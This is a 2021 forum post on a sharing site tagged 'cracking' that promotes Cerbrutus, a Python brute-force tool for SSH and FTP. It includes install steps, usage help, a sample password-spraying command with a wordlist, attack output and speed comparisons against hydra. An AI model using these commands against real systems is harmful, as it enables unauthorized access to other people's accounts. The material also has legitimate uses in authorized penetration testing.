# Cerbrutus | Network Brute Force Tool **URL:** \ **Category:** Tools & Scripts\ **Tags:** privacy, cracking, freebies\ **Created:** [September 10, 2021, 1:30pm UTC](https://onehack.st/t/cerbrutus-network-brute-force-tool/200874 "2021-09-10T13:30:48Z")\ **Posts on this page:** 1\ **Page:** 1
**Author:** ![TheStrength](https://onehack.st/user_avatar/onehack.st/thestrength/32/46753_2.png) [@TheStrength](https://onehack.st/u/TheStrength)\ **Post date:** [September 10, 2021, 1:30pm UTC](https://onehack.st/t/cerbrutus-network-brute-force-tool/200874/1 "2021-09-10T13:30:48Z")
![image](https://onehack.st/uploads/default/original/3X/9/e/9ef5579769053b094b7b68f018e5df5483640753.png) Modular brute force tool written in Python, for very fast password spraying SSH, and FTP and in the near future other network services. COMING SOON: SMB, HTTP(s) POST, HTTP(s) GET, HTTP BASIC AUTH Thanks to @0dayctf, Rondons, Enigma, and 001 for testing and contributing Installation: cd /opt git clone [https://github.com/Cerbrutus-BruteForcer/cerbrutus](https://github.com/Cerbrutus-BruteForcer/cerbrutus) Usage: python3 /opt/cerbrutus/cerbrutus.py --help usage: cerbrutus.py [-h] -U USERS -P PASSWORDS [-p PORT] [-t THREADS] [-q [QUIET [QUIET …]]] Host Service Python based network brute forcing tool! positional arguments: Host The host to connect to - in IP or VHOST/Domain Name form Service The service to brute force (currently implemented ‘SSH’) optional arguments: -h, --help show this help message and exit -U USERS, --users USERS Either a single user, or the path to the file of users you wish to use -P PASSWORDS, --passwords PASSWORDS Either a single password, or the path to the password list you wish to use -p PORT, --port PORT The port you wish to target (only required if running on a non standard port) -t THREADS, --threads THREADS Number of threads to use -q [QUIET [QUIET …]], --quiet [QUIET [QUIET …]] Do not print banner /opt/cerbrutus/cerbrutus.py 10.10.10.10 SSH -U “username” -P /opt/wordlists/fasttrack.txt -t 10 ``` ================================================================ _____ ________ ______ ________ ____ _____ / ] / _]| \ | \ | \| | || || | |/ ___/ / / / [_ | D )| o )| D ) | || || | ( \_ / / | _]| / | || /| | ||_| |_|| | |\__ | / \_ | [_ | \ | O || \| : | | | | : |/ \ | \ || || . \| || . \ | | | | |\ | \ ____||_____ || __|\_||_____ || __|\_|\__ ,_| | __| \__ ,_| \___| Network Brute Force Tool https://github.com/Cerbrutus-BruteForcer/cerbrutus ================================================================ ``` [_] - Initialising password list… Read in 224 words from /opt/wordlists/fasttrack.txt [+] - Running with 10 threads… [_] - Starting attack against [username@10.10.10.10](mailto:username@10.10.10.10) [\*] - Trying: 65/224 Test Run: # The password is in line number 12600 in rockyou 64 threads → 1400 seconds ~ 7 minutes (hydra took 30 minutes) 1000 threads → 464 seconds → 27 requests per second 100 threads took 1000 seconds → 12 requests per second # the password is in line 460 100 threads took 32 seconds → 14 requests per second 1000 threads took 16 seconds → 28 requests per second 64 threads took 51 seconds → 9 requests per second (hydra took the same time) # word number 20k in rockyou 1100 threads took 637 seconds which means 31 rps 110 threads took 1457 seconds so that’s 13.7 rps Uses a custom implementation of paramiko to overcome a few minor issues with implementing it for ssh brute forcing. - [https://github.com/paramiko/paramiko/](https://github.com/paramiko/paramiko/) ## GitHub: > **[GitHub - Cerbrutus-BruteForcer/cerbrutus: Network brute force tool, written in Python....](https://github.com/Cerbrutus-BruteForcer/cerbrutus)** > > Network brute force tool, written in Python. Faster than other existing solutions (including the main leader in the network brute force market).